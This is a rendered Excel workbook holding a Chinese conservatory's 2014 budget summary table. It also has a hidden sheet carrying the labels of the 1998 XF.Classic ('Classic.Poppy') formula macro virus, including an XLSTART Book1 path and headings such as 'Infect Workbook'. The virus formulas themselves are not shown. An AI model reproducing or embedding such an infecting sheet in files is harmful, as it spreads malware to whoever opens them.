{"text_format":"3","workbook":"xlsx","n_sheets":2,"sheets":["附件1-预算收支总表","00000ppy"],"not_rendered":{"external_links":31,"defined_names":169},"read":"whole","date_system":"1900"}

{"sheet":"附件1-预算收支总表","index":0,"n_rows":18,"n_cols":4,"rows_kept":18,"merged":[[0,0,0,3],[1,1,1,2],[2,0,2,1],[2,2,2,3]]}
["高等学校收支预算总表"]
["单位：沈阳音乐学院","年度：2014年",null,"            单位：万元"]
["收      入",null,"支      出"]
["项目","预算数","项目","预算数"]
["一、财政拨款",{"v":17543.5,"d":"17,543.50"},"一、一般公共服务"]
["二、事业收入",{"v":18810.5,"d":"18,810.50"},"二、外交"]
["三、事业单位经营收入",null,"三、国防"]
["四、其他收入",{"v":150,"d":"150.00"},"四、教育",{"v":32609,"d":"32,609.00"}]
["    其中：捐赠收入",null,"五、科学技术"]
[null,null,"六、文化体育与传媒"]
[null,null,"七、社会保障和就业",{"v":2331,"d":"2,331.00"}]
[null,null,"八、医疗卫生",{"v":684,"d":"684.00"}]
[null,null,"九、住房保障支出",{"v":880,"d":"880.00"}]
["本年收入合计",{"$f":"SUM(B5:B8)","v":{"v":36504,"d":"36,504.00"}},"本年支出合计",{"$f":"SUM(D8:D13)","v":{"v":36504,"d":"36,504.00"}}]
["用事业基金弥补收支差额",null,"结转下年"]
["上年结转"]
[]
["收    入    总    计",{"$f":"B14","v":{"v":36504,"d":"36,504.00"}},"    支    出    总    计",{"$f":"SUM(D14:D15)","v":{"v":36504,"d":"36,504.00"}}]

{"sheet":"00000ppy","index":1,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true}
["2012-2-10：高校财务信息公开附件1-6.XLS"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\Office10\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]